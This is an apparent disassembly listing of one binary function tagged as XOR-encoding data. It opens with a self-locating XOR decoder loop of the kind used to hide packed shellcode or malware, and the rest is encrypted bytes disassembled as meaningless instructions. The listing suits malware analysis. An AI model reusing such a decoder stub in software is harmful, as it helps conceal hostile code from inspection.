Function at 0x78ecf0
Capabilities:
Encode data using xor

Disassembly:
cmp dword [edi - 0x20a53d54], eax
xor eax, 0x340b8a1a
lds esi, [edi + 0x50]
add byte [eax], al
jmp 0x78ecfa
pushal
call 0x78ed00
pop ebp
sub ebp, 0x10
sub ebp, 0x38ecf0
jmp 0x78ed16
mov eax, 0x38ecf0
cmp byte [eax], al
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b3
lds eax, [ecx + 0x4cc0]
dec esp
add byte [eax], al
add byte [ecx + 0x5b3], bh
mov edx, 0x83258f73
xor byte [eax], dl
inc eax
dec ecx
jne 0x78ed2d
jmp 0x78ed40
clc
mov esi, 0x734ffaf8
jae 0x78edbb
mov dl, 0x8b
jae 0x78edc0
jae 0x78edbf
mov esi, 0x737377cb
jae 0x78ed1f
pop ebx
jae 0x78edcc
jae 0x78ecdf
xchg ecx, eax
jo 0x78ed19
clc
bnd jg 0x78edd5
jae 0x78edd7
jo 0x78ed1c
and esp, dword [ebx]
sbb esi, edi
or dword [ebp + 0x73], edi
sbb ebx, dword [ecx]
add dword [ecx + 0x73], ebx
jb 0x78edd3
pop ecx
jae 0x78ede5
pop edi
push edi
sbb eax, dword [edi - 0x4a]
add al, 0x23
wait
jbe 0x78edf0
jae 0x78edf2
lcall 0xf826, 0x7373735b
lahf
clc
idiv byte [ebx + 0x73]
jae 0x78ee00
jae 0x78ed86
clc
out 0x7f, al
jae 0x78ee05
jae 0x78ed8c
invalid
pop ecx
jae 0x78ee30
pop edi
push edi
and bl, byte [ebx + 0x73737376]
lcall 0xf826, 0x73737140
clc
lahf
mov word [esi], es
jg 0x78ed5e
push es
jnp 0x78ed70
adc eax, 0xf8737373
jae 0x78ee4c
clc
into
jnp 0x78ee50
jae 0x78ee52
inc eax
mov edx, 0x9bf0a140
jbe 0x78ee22
jl 0x78ede0
cmp eax, 0x7c737373
sti
cmp esi, dword [ebx + 0x73]
jae 0x78ee65
jae 0x78ee09
clc
outsd dx, dword [esi]
dec edx
mov byte [ebx + 0x7369f77c], bl
jae 0x78ee73
mov byte [edx + 0x7362f77c], bl
bound esi, qword [ebx + 0x73]
jae 0x78ee7b
jae 0x78ee7c
jae 0x78ee1f
adc eax, 0x568c88f2
jl 0x78ee07
mov byte [esi + edx*2 + 0x7366f77c], cl
mul dword [esi + 0x73]
jae 0x78ee86
jae 0x78ee87
jae 0x78ee47
xor bl, byte [edx - 0x73737341]
pop edx
aas
lcall 0x3f5a, 0x8c8c8cbf
dec edx
jb 0x78ee0f
mov dl, 0x76
invalid
wait
ja 0x78edbf
into
mov word [esp + ecx*4 + 0x714a275a], cs
invalid
mov word [edx + ebx*2 - 0xf8eb5d9], cs
mov dl, 0x75
invalid
lahf
and eax, 0x6f82624
and al, 0x26
clc
push es
jg 0x78ee41
push cs
jnp 0x78eddb
pop ecx
stc
sal ebx, 0xf9
jne 0x78ee43
mov ch, 0x72
mov ch, 0x72
jb 0x78eec7
jae 0x78eec8
jae 0x78eec9
jae 0x78ee52
sti
je 0x78ee4b
mov ah, 0x72
jae 0x78eed0
jae 0x78ee27
jno 0x78eed4
jae 0x78eed6
jae 0x78eed5
jno 0x78ee06
mov eax, dword [0x7376f67c]
jl 0x78ee5d
jbe 0x78eedc
jae 0x78eede
stc
xor eax, 0xf07ca161
popal
mov eax, dword [0x8cabf07c]
mov word [ecx + esi*2 + 0x76f67ca1], cs
jl 0x78ee62
stosd dword es:[edi], eax
mov word [esp + ecx*4 - 0x9835e8f], cs
jl 0x78ee70
jbe 0x78eeef
jae 0x78eef0
jae 0x78eef1
jae 0x78ee78
stc
xor eax, 0xf07ca161
sbb dword [ebx + 0x73], esi
jae 0x78eefb
jae 0x78eefc
jae 0x78eeca
inc eax
mov bl, 0x71
mov eax, dword [0x7376f67c]
jae 0x78ef06
stc
xor eax, 0xf07ca161
pop ecx
jb 0x78ef10
jae 0x78ef10
mov eax, dword [0x7376f67c]
jae 0x78ef19
stc
xor eax, 0xb360a161
jno 0x78ee50
mov eax, dword [0xa171b360]
jl 0x78eea7
jbe 0x78ef26
jae 0x78ef28
stc
xor eax, 0xb360a161
jno 0x78ee5f
jl 0x78eeb6
jbe 0x78ef35
jae 0x78ef37
stc
xor eax, 0xb360a161
jno 0x78ee6e
popal
mov eax, dword [0xa171b360]
pushal
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x78eec5
jbe 0x78ef44
jae 0x78ef45
jae 0x78ef46
jae 0x78eecd
stc
xor eax, 0xb360a161
xor eax, 0xb360a161
popal
mov eax, dword [0xf77cb360]
jl 0x78eed3
jne 0x78ef51
jae 0x78ef53
clc
lodsb al, byte [esi]
pop eax
stosd dword es:[edi], eax
stc
jo 0x78eee2
je 0x78ef1d
enter 0x7371, 0x73
jae 0x78ee89
add ecx, dword [esp + ecx*4 + 0x7372cb8c]
mov word [esp + ecx*4 + 0x737372cb], cs
jae 0x78ef6a
mov word [ebx + ecx*8 + 0x73737372], cs
mov ebx, cs
jb 0x78ef69
jae 0x78ef6b
jno 0x78ee9b
mov eax, dword [0x7376f67c]
jl 0x78eef2
div byte [esi + 0x73]
jbe 0x78ef71
jae 0x78ef73
stc
xor eax, 0xb360a161
jno 0x78eeaa
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x78ef01
jbe 0x78ef80
jae 0x78ef81
jae 0x78ef82
jae 0x78ef09
stc
xor eax, 0xf17ca161
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x72c8b058], cs
jae 0x78ef93
mov word [eax - 0x50], ds
enter 0x7372, 0x73
mov al, 0xc8
jb 0x78ef92
jae 0x78ef94
jae 0x78ef9e
jl 0x78ef19
test byte [edi + 0x73], 0x73
inc edi
jae 0x78ef99
jae 0x78eef2
jb 0x78ef9d
jae 0x78ef9f
jno 0x78eecf
jl 0x78ef26
jbe 0x78efa5
jae 0x78efa7
stc
xor eax, 0xba60a161
jno 0x78eede
popal
mov eax, dword [0xa171ba60]
jl 0x78ef35
jbe 0x78efb4
jae 0x78efb6
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
popal
mov eax, dword [0x8cadf17c]
mov word [ebp - 0x79a77b08], cs
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x5884f825], cs
pop eax
xchg byte [eax + 0x7b9a2dd7], al
mov word [esp + ecx*4 + 0x7b93b23b], cs
stc
adc bh, 0x2d
lcall 0xb23b, 0x8c8c8c7b
xchg ebx, eax
jnp 0x78ef59
mov word [ebx + edi - 0x6846c4e], cs
jne 0x78ef97
clc
wait
retf 0x7372
jno 0x78ef0c
mov eax, dword [0x7376f67c]
jl 0x78ef63
jbe 0x78efe2
jae 0x78efe4
stc
xor eax, 0xba60a161
xor eax, 0xba60a161
jno 0x78ef1b
jl 0x78ef72
jbe 0x78eff1
jae 0x78eff3
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
mov eax, dword [0x8cadf17c]
mov word [edx + esi*8 + 0x730e738b], cs
int1
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0xe738bf2], cs
jae 0x78f004
jae 0x78ef84
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 + 0x738bf28c], cs
jbe 0x78f00f
mov word [esp + ecx*4 + 0x76738bf2], cs
mov esi, dword [ebx + 0x76]
jae 0x78f011
jae 0x78f010
jae 0x78ef90
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 - 0xc740d74], cs
jae 0x78f01b
jae 0x78f01b
jae 0x78f01c
jae 0x78ef9c
mov byte [0x73737373], al
mov byte [0x73737373], al
mov esi, ebx
jae 0x78f027
jae 0x78efa8
mov byte [0x73737373], al
and eax, 0x835884f8
adc bh, 0x2d
lcall 0x75f9, 0x8c8c8de8
xor eax, 0x9bb3ba40
mov word [ecx + edi*8 - 0x45bfca8b], cs
mov bl, 0x9b
mov edx, 0x7c729bb3
jb 0x78f04d
imul dword [ecx + 0x73]
jae 0x78f049
mov byte [0x73737371], al
clc
wait
and eax, 0x835884f8
clc
test byte [eax - 0x7d], bl
pop eax
add dword [eax + 0x72c82dd7], 0x73
jae 0x78f05e
adc bh, 0x2d
enter 0x7372, 0x73
xlatb
sub eax, 0x737372c8
jae 0x78ef86
lcall 0x582e, 0x8c8c8d00
add byte [ebp + 0x582e8c8c], cl
lea ecx, [esp + ecx*4 + 0x7b0e582e]
clc
pop eax
push cs
jnp 0x78efed
mov ah, 0x2c
sub eax, 0xb12e96f8
jnp 0x78f071
sub al, 0x2d
lcall 0xced9, 0x73737377
jae 0x78efdf
into
add byte [0x4b9f83cb], 0x73
jo 0x78efc6
mov dh, 0xf2
mov bl, 0x4c
mov bl, 0x4c
jo 0x78f088
jae 0x78efe1
mov bl, 0x71
jae 0x78f08e
leave
retf
mov word [esp + ecx*4 + 0x7373779a], cs
jae 0x78efcc
sub ebp, dword [0x40354c8e]
mov ch, 0xf7
inc eax
ja 0x78f037
test dword [eax + 0x77], 0xcbcb6bfc
imul ecx, ebx, 0xffffffcb
retf
dec edi
sti
dec ebx
retf
retf
ret
sub eax, esp
dec edx
xor ecx, eax
retf
retf